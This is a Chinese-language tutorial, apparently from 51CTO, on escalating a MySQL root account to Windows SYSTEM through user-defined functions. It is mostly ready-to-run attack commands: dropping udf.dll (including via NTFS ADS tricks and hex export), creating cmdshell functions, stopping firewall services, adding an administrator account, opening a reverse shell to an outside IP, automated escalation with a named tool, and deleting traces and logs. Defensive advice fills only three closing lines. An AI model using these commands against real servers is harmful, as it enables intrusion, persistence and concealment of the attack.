實(shí)例解析:MySQL數(shù)據(jù)庫(kù)擴(kuò)展接口UDF提權(quán)
原創(chuàng)【51CTO.com原創(chuàng)稿件】UDF提權(quán)是利用MySQL的自定義函數(shù)功能,將MySQL賬號(hào)轉(zhuǎn)化為系統(tǒng)system權(quán)限,其利用條件是目標(biāo)系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MySQL的某個(gè)用戶賬號(hào),此賬號(hào)必須有對(duì)MySQL的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù);有root賬號(hào)密碼。網(wǎng)上有很多公開的利用程序,下面通過一個(gè)實(shí)例來介紹MySQL數(shù)據(jù)庫(kù)如何利用Udf進(jìn)行提權(quán)。
注:本文是筆者撰寫的Mysql安全系列文章的第三篇。
第一篇為《關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng)MySQL提權(quán)基礎(chǔ)》;
第二篇為《MySQL數(shù)據(jù)庫(kù)反彈端口連接提權(quán)》。
一、UDF函數(shù)簡(jiǎn)介
1.UDF介紹
UDF(user-defined function)是MySQL的一個(gè)拓展接口,也可稱之為用戶自定義函數(shù),它是用來拓展MySQL的技術(shù)手段,可以說是數(shù)據(jù)庫(kù)功能的一種擴(kuò)展,用戶通過自定義函數(shù)來實(shí)現(xiàn)在MySQL中無(wú)法方便實(shí)現(xiàn)的功能,其添加的新函數(shù)都可以在SQL語(yǔ)句中調(diào)用,就像本機(jī)函數(shù)如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數(shù)定義請(qǐng)參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權(quán)外,其實(shí)Udf還有更多更廣泛的應(yīng)用,例如https://github.com/mysqludf/repositories,就提供了非常多的應(yīng)用:
lib_mysqludf_fPROJ4:一組擴(kuò)展的科學(xué)函數(shù),將地理經(jīng)度和緯度坐標(biāo)轉(zhuǎn)換為笛卡爾坐標(biāo),反之亦然。
lib_mysqludf_json:用于將關(guān)系數(shù)據(jù)映射到JSON格式的函數(shù)的UDF庫(kù)。
lib_mysqludf_log:用于將調(diào)試信息寫入日志文件的UDF庫(kù)。
lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達(dá)式
lib_mysqludf_stat:用于統(tǒng)計(jì)分析的UDF庫(kù)。
lib_mysqludf_str:一個(gè)帶有MySQL附加字符串函數(shù)的UDF庫(kù)
lib_mysqludf_sys:具有與操作系統(tǒng)交互的功能的UDF庫(kù)。這些函數(shù)允許您與MySQL運(yùn)行的執(zhí)行環(huán)境進(jìn)行交互。
lib_mysqludf_xml:一個(gè)UDF庫(kù),用于直接從MySQL創(chuàng)建XML輸出。
有三種方法向MySQL添加新函數(shù)。
(1)可以通過用戶定義的函數(shù)(UDF)接口添加函數(shù)。用戶定義的函數(shù)被編譯為庫(kù)文件,然后使用CREATE FUNCTION和DROP FUNCTION語(yǔ)句動(dòng)態(tài)添加到服務(wù)器或從服務(wù)器中刪除。
(2)可以將函數(shù)添加為本機(jī)(內(nèi)置)MySQL函數(shù)。本機(jī)函數(shù)被編譯到 mysqld服務(wù)器并永久可用。
(3)添加函數(shù)的另一種方法是創(chuàng)建存儲(chǔ)的函數(shù)。這些是使用SQL語(yǔ)句編寫的,而不是通過編譯目標(biāo)代碼。
二、Windows下UDF提權(quán)的條件和方法
Windows下UDF提權(quán)對(duì)于Windows2008以下服務(wù)器比較適用,也即針對(duì)Windows2000、Windows2003的成功率較高。
1. UDF提權(quán)條件
(1)Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。
(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
(3)掌握的mysql數(shù)據(jù)庫(kù)的賬號(hào)有對(duì)mysql的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù),一般以root賬號(hào)為佳,具備root賬號(hào)所具備的權(quán)限的其它賬號(hào)也可以。
(4)可以將udf.dll寫入到相應(yīng)目錄的權(quán)限。
2.提權(quán)方法
(1)獲取數(shù)據(jù)庫(kù)版本、數(shù)據(jù)位置以及插件位置等信息
- select version();//獲取數(shù)據(jù)庫(kù)版本
- select user();//獲取數(shù)據(jù)庫(kù)用戶
- select @@basedir ;//獲取安裝目錄
- show variables like '%plugins%'; //尋找mysql安裝路徑
(2)導(dǎo)出路徑
- C:\Winnt\udf.dll Windows 2000
- C:\Windows\udf.dll Windows2003(有的系統(tǒng)被轉(zhuǎn)義,需要改為C:Windowsudf.dll)
MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創(chuàng)建自定義函數(shù)。該目錄默認(rèn)是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創(chuàng)建libplugin文件夾,然后將udf.dll文件導(dǎo)出到該目錄即可。
在某些情況下,我們會(huì)遇到Can't open shared library的情況,這時(shí)就需要我們把udf.dll導(dǎo)出到lib\plugin目錄下才可以,網(wǎng)上大牛發(fā)現(xiàn)利用NTFS ADS流來創(chuàng)建文件夾的方法:
- select @@basedir; //查找到mysql的目錄
- select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創(chuàng)建lib目錄
- select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄
執(zhí)行成功以后就會(huì)plugin目錄,然后再進(jìn)行導(dǎo)出udf.dll即可。
(3)創(chuàng)建cmdshell 函數(shù),該函數(shù)叫什么名字在后續(xù)中則使用該函數(shù)進(jìn)行查詢:
- create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(4)執(zhí)行命令:
- select sys_eval(‘whoami’);
一般情況下不會(huì)出現(xiàn)創(chuàng)建不成功哦。
連不上3389可以先停止windows防火墻和篩選
- select sys_eval(‘net stop policyagent’);
- select sys_eval(‘net stop sharedaccess’);
udf.dll下常見函數(shù):
cmdshell 執(zhí)行cmd;
downloader 下載者,到網(wǎng)上下載指定文件并保存到指定目錄;
open3389 通用開3389終端服務(wù),可指定端口(不改端口無(wú)需重啟);
backshell 反彈Shell;
ProcessView 枚舉系統(tǒng)進(jìn)程;
KillProcess 終止指定進(jìn)程;
regread 讀注冊(cè)表;
regwrite 寫注冊(cè)表;
shut 關(guān)機(jī),注銷,重啟;
about 說明與幫助函數(shù);
具體用戶示例:
- select cmdshell('net user iis_user 123!@#abcABC /add');
- select cmdshell('net localgroup administrators iis_user /add');
- select cmdshell('regedit /s d:web3389.reg');
- select cmdshell('netstat -an');
(5)清除痕跡
- drop function cmdshell;// 將函數(shù)刪除
刪除udf.dll文件以及其它相關(guān)入侵文件及日志。
(6)常見錯(cuò)誤
- #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
- SHOW VARIABLES LIKE "secure_file_priv"
在my.ini 或者mysql.cnf 文件中注銷 (使用#號(hào)) 包含secure_file_priv的行。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項(xiàng)去掉。
三、一個(gè)提權(quán)實(shí)例
1.設(shè)置Mysql提權(quán)腳本文件
將Mysql提權(quán)腳本文件上傳到服務(wù)器上,運(yùn)行后,需要對(duì)IP地址、UID、passwod、db進(jìn)行配置,如圖1所示,IP地址一般可以設(shè)置為localhost、127.0.0.1以及真實(shí)IP地址,uid默認(rèn)為root,其它具有root用戶權(quán)限的用戶名稱也可以,pwd為具有root權(quán)限用戶的密碼,db默認(rèn)選擇mysql,單擊提交查詢內(nèi)容進(jìn)行連接測(cè)試。
設(shè)置Mysql提交腳本文件
2.進(jìn)行連接測(cè)試
連接成功后,會(huì)給出相應(yīng)的提示信息,如圖2所示,給出用戶,數(shù)據(jù)庫(kù),數(shù)據(jù)目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數(shù)等信息。
連接測(cè)試
3.創(chuàng)建“shell”函數(shù)
單擊“Dump UDF” 將UDF.DLL文件導(dǎo)出到默認(rèn)的插件目錄下,然后再運(yùn)行“Create Function”將創(chuàng)建“shell”函數(shù)。如圖3所示,如果前面已經(jīng)創(chuàng)建過shell函數(shù),則會(huì)提示系統(tǒng)中已經(jīng)存在“shell”函數(shù) 。
創(chuàng)建“shell”函數(shù)
4.查看用戶
在查詢窗口中輸入“select shell('cmd','net user')”查看系統(tǒng)所有的用戶,如圖4所示,可以正常查看系統(tǒng)的所有用戶信息。
查看用戶
5.創(chuàng)建具有管理員權(quán)限的用戶
分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并執(zhí)行該查詢命令,如果執(zhí)行成功,則表示在系統(tǒng)中添加“temp”用戶,密碼為“temp123456”,同時(shí)將該用戶添加到管理員組中,使其具備管理員權(quán)限,執(zhí)行成功后如圖5,圖6所示。
添加temp用戶
將用戶temp添加到管理員組
6.提權(quán)成功
在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功,如圖7所示,查詢結(jié)果表明已經(jīng)將temp用戶添加到管理員組中。
查看管理員用戶
目前對(duì)于一些網(wǎng)站來說,一般都會(huì)提供遠(yuǎn)程終端服務(wù),只要用戶添加成功,則可以直接登錄該服務(wù)器,如圖8所示,輸入用戶名和密碼,成功進(jìn)入該服務(wù)器,至此通過mysql的root用戶成功提權(quán)。
圖8成功進(jìn)入服務(wù)器
四、其它提權(quán)工具
v5est0r 寫了一個(gè)Mysql提權(quán)綜合利用工具,詳細(xì)情況請(qǐng)參考其代碼共享網(wǎng)站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
1.自動(dòng)導(dǎo)出你的backdoor和mof文件
2.自動(dòng)判斷mysql版本,根據(jù)版本不同導(dǎo)出UDF的DLL到不同目錄,UDF提權(quán)
3.導(dǎo)出LPK.dll文件,劫持系統(tǒng)目錄提權(quán)
4.寫啟動(dòng)項(xiàng)提權(quán)
UdF自動(dòng)提權(quán):
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
LPK劫持提權(quán):
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
啟動(dòng)項(xiàng)提權(quán):
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st
例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無(wú)法進(jìn)行提權(quán),如圖9所示。
- LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini');
查看mysql數(shù)據(jù)庫(kù)配置文件內(nèi)容
五、UDF提權(quán)總結(jié)與防范
目前安裝的Mysql數(shù)據(jù)庫(kù)版本基本是高于5.1版本,通過Mysql查詢可以導(dǎo)出udf.dll但由于mysql中my.ini文件的配置,有可能會(huì)導(dǎo)致無(wú)法創(chuàng)建自定義函數(shù)。這時(shí)候就需要修改my.ini進(jìn)行重啟。
1.提權(quán)總結(jié)
(1)有webshell的提權(quán)
如果獲取了webshell則比較簡(jiǎn)單,目前有很多Mysql提權(quán)的PHP腳本,可以比較快速的進(jìn)行提權(quán),在此不贅述。
(2)無(wú)webshell的提權(quán)
- select version(); //獲取mysql版本
- select @@basedir; //查找到mysql的目錄
- SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置
通過查詢將udf.dll轉(zhuǎn)成代碼插入數(shù)據(jù)庫(kù),然后導(dǎo)出
- use mysql;
- set @a=concat('',0x代碼);
- create table Ghost(data LONGBLOB);
- insert into Ghost values("");update Ghost set data = @a;
- 代碼為select hex(load_file('c:/udf.dll'))中的內(nèi)容
- select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導(dǎo)出ufd.dll
- CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創(chuàng)建函數(shù)
- select backshell("192.168.40.135",4444);
(3)使用Python_FuckMySQL工具進(jìn)行自動(dòng)提權(quán)
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st
2.安全防范方法
(1)盡量避免提供對(duì)外鏈接,通過mysql中的user表進(jìn)行查看,禁用“%”。
(2)設(shè)置復(fù)雜的Root賬號(hào)密碼。
(3)對(duì)my.ini設(shè)置只讀屬性,設(shè)置plugin目錄為只讀目錄。
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】